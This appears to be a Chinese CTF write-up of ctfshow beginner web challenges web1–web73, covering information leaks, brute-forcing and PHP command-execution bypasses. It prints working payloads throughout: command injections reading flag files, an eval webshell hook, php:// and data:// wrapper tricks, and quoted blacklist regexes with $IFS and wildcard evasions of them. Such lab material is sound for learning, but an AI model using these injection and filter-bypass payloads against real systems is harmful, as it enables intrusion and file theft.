web入门
信息收集
- web1
- 开发注释未及时删除
- 右键查看源代码获取flag
- web2
- js前台拦截 === 无效操作
- 题目提示无法查看源代码,估计是禁用了右键
- view-source:ip即可查看页面源代码
- web3
- 没思路的时候抓个包看看,可能会有意外收获
- bp抓包,ctal+r发送获得flag
- web4
- 总有人把后台地址写入robots,帮黑阔大佬们引路。
- 访问robots.txt,指引访问/flagishere.txt获得flag
- web5
- phps源码泄露有时候能帮上忙
- 访问index.phps,下载发现flag
- web6
- 解压源码到当前目录,测试正常,收工
- 访问www.zip,解压发现加的flag,访问fl000g.txt,获得flag
- web7
- 版本控制很重要,但不要部署到生产环境更重要。
- 访问/.git/index.php即可
- git源码泄露
- web8
- 版本控制很重要,但不要部署到生产环境更重要。
- svn泄露
- 访问/.svn获得flag
- web9
- 发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了
- vim缓存信息泄露
访问index.php.swp
- web10
- cookie 只是一块饼干,不能存放任何隐私数据
- 抓包发现cookie有flag,url解码即可
- web11
- 域名其实也可以隐藏信息,比如ctfshow.com 就隐藏了一条信息
- http://dbcha.com/查询ctfshow.com
- web12
- 有时候网站上的公开信息,就是管理员常用密码
- 发现联系方式372619038
访问/robots.txt获得/admin
访问/admin,尝试admin:372619038
- web13
- 技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
- 在网页最下方document,发现信息
默认后台地址:http://ip/system1103/login.php
默认用户名:admin
默认密码:admin1103
登录获得flag
- web14
- 有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
- 根据提示访问/editor/
在点击图片摁扭访问本地文件系统/editor/attached/image/var/www/html/nothinghere/fl000g.txt
访问ip/nothinghere/fl000g.txt找到flag
- web15
- 公开的信息比如邮箱,可能造成信息泄露,产生严重后果
- 页面发现邮箱1156631961@qq.com
访问/admin/,忘记密码
qq搜索1156631961,发现西安
成功重置密码admin7789,登录获取flag
- web16
- 对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
- 访问/tz.php
根据探针访问/phpinfo,获得flag
- web17
- 备份的sql文件会泄露敏感信息
- 访问/backup.sql获得flag
- web18
- 不要着急,休息,休息一会儿,玩101分给你flag
- 查看js,\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b
- 进行Unicode解码得到 “你赢了,去幺幺零点皮爱吃皮看看”
- 访问/110.php得到flag
- web19
- 密钥什么的,就不要放在前端了
- 抓包发包看到页面源代码注释部分有账号密码
抓包直接提交账号密码username=admin&pazzword=a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04 - 返回flag
- web20
- mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。
- 访问/db/db.mdb,txt打开获取flag
爆破
- web21
- 401爆破
- 发包抓包发现admin:123以base64加密方式传输
放到重发器里,加前缀admin:之后再base64加密
由于靶场问题爆破速度5,200为正确的账号密码
获得admin:shark63,登录获得flag
- web22
- 域名也可以爆破的,试试爆破这个ctf.show的子域名
- bp子域名爆破
flag{ctf_show_web},用这个挖,子域名网站崩了
- web23
- 还爆破?这么多代码,告辞!
- 析代码,可以知道 token被md5加密,且它的第一位=第十四位=第十七位,(第一位+第十四位+第十七位)/第一位=第三十一位
传一个/?token=$1$$2$,然后0-9,a-z爆破,获得?token=3j获得flag
- web24
爆个🔨
- <?php mt_srand(372619038); echo(mt_rand()); ?>
1155388967
- web25(没看懂)
- 爆个🔨,不爆了
- ?r=0 -2118761545
- web26
- 抓包,爆破获得密码7758521
- web27
- 爆破日期
- 爆破获得\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237\u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801,解码获得恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码
登录02015237:621022199002015237获得flag
- web28
- 目录爆破、
- /1-100/1-100爆破
- 爆破/72/20返回200获得flag
命令执行
- web29
- 命令执行,需要严格的过滤
- preg_match("/flag/i", $c) 正则匹配/i大小写不敏感匹配flag
?c=system("ls");
/?c=system("cat f'l'a'g'.php");
- web30
- 命令执行,需要严格的过滤
- /?c=eval($_POST[cmd]); 蚁剑连接即可
- web31
- 命令执行,需要严格的过滤
- /?c=echo`ls`;
?c=echo`tac%09f*`;
- web32
- ?c=include$_GET[a]?>&a=
php://filter/read=convert.base64-encode/resource=flag.php
- ?c=include$_GET[a]?>&a=
- web33
- ?c=include$_GET[a]?>&a=
php://filter/read=convert.base64-encode/resource=flag.php
- ?c=include$_GET[a]?>&a=
- web34
- ?c=include$_GET[a]?>&a=
php://filter/read=convert.base64-encode/resource=flag.php
- ?c=include$_GET[a]?>&a=
- web35
- ?c=include$_GET[a]?>&a=
php://filter/read=convert.base64-encode/resource=flag.php
- ?c=include$_GET[a]?>&a=
- web36
- ?c=include$_GET[a]?>&a=
php://filter/read=convert.base64-encode/resource=flag.php
- ?c=include$_GET[a]?>&a=
- web37
- ?c=data://text/plain,<?php system("ls");
?c=data://text/plain,<?php system("cat fl?g.php");
- ?c=data://text/plain,<?php system("ls");
- web38
- ?c=data://text/plain,<?= system("cat fl*");
- 在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?>
- 只有开启这个才可以使用 <?= 以代替 <? echo
- web39
- ?c=data://text/plain,<?= system("cat fla*");?>
- web40
- 不会
- web41
- 不会
- web42
system($c." >/dev/null 2>&1");把标准输出和错误输出都重定向到了/dev/null,相当于没有了输出,但是这仅仅影响它本来的那一条命令,分隔命令即可,也就是命令执行中的执行多条命令。
-
cat flag.php%0a
cat flag.php; cat flag.php%0a cat flag.php|| cat flag.php%26 cat flag.php%26%26
- web43
system($c." >/dev/null 2>&1");if(!preg_match("/\;|cat/i", $c)){
- ?c=tac flag.php%0a
- web44
system($c." >/dev/null 2>&1");if(!preg_match("/;|cat|flag/i", $c)){
- ?c=tac fl?g.php%0a
- web45
system($c." >/dev/null 2>&1");if(!preg_match("/\;|cat|flag| /i", $c)){
- ?c=tac$IFS$9fl*%0a
- web46
system($c." >/dev/null 2>&1");if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
- ?c=tac%09fla?????%0a
- web47
system($c." >/dev/null 2>&1");if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
- ?c=tac%09fla?????%0a
- web48
system($c." >/dev/null 2>&1");if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
- ?c=tac%09fla?????%0a
- web49
system($c." >/dev/null 2>&1");if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
- ?c=tac%09fla?????%0a
- web50
system($c." >/dev/null 2>&1");if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
- ?c=tac<>fl'a'g.php%0a
- web51
system($c." >/dev/null 2>&1");if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
- ?c=nl<>fl'a'g.php%0a
- web52
system($c." >/dev/null 2>&1");if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
- ?c=nl$IFS/fl''ag%0a
- web53
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c))
?c=c'a't$IFS''fl''ag.php%0a
- web54
system($c);if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
}- ?c=/bin/?at${IFS}f???????
- web55
system($c);if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
- 首先是/bin这个目录。
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等就像上一题用到了/bin/ca?一样,这题利用/bin/base64
base64这个命令就是将指定的文件的内容以base64加密的形式输出。
因为过滤了字母,正好可以用64来匹配
姿势一有些类似,不过利用的是/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。 - /???/????64 ????????匹配的是
/bin/base64 flag.php
/???/???/????2 ????????匹配/usr/bin/bzip2 flag.php
- web56
system($c);if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
}- <!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form action="http://2c9ec26d-3c3b-4962-84a4-877616dd02a8.challenge.ctf.show" method="post" enctype="multipart/form-data">
<input type="file" name="1">
<input type="submit" name="2">
</form>
</body>
</html>
/?c=.%20/???/????????[@-[]
摘自
- web57
if(isset($_GET['c'])){//flag in 36.php
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");- $((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
-
${_} ="" //返回上一次命令 $((${_}))=0 $((~$((${_}))))=-1
- web58
- 过函数
- c=show_source('flag.php');
- web59
- 过函数
-
copy("flag.php","flag.txt");
c=show_source("flag.php");
- web60
- c=show_source("flag.php");
- web61
- c=show_source("flag.php");
- web62
- c=show_source("flag.php");
- web63
- c=show_source("flag.php");
- web64
- c=show_source("flag.php");
- web65
- c=show_source("flag.php");
- web66
- c=var_dump(scandir('/'));发现flag.txt
-
c=highlight_file("/flag.txt");
- web67
c=highlight_file("/flag.txt");
- web68
- 文件包含过涨知识了
- c=include("/flag.txt");
- web69
- c=include("/flag.txt");
- web70
- c=include("/flag.txt");
- web71
- c=include("/flag.txt");exit();
- web72
- 没看懂
- web73
- 剩下的看不懂了
Comments NOTHING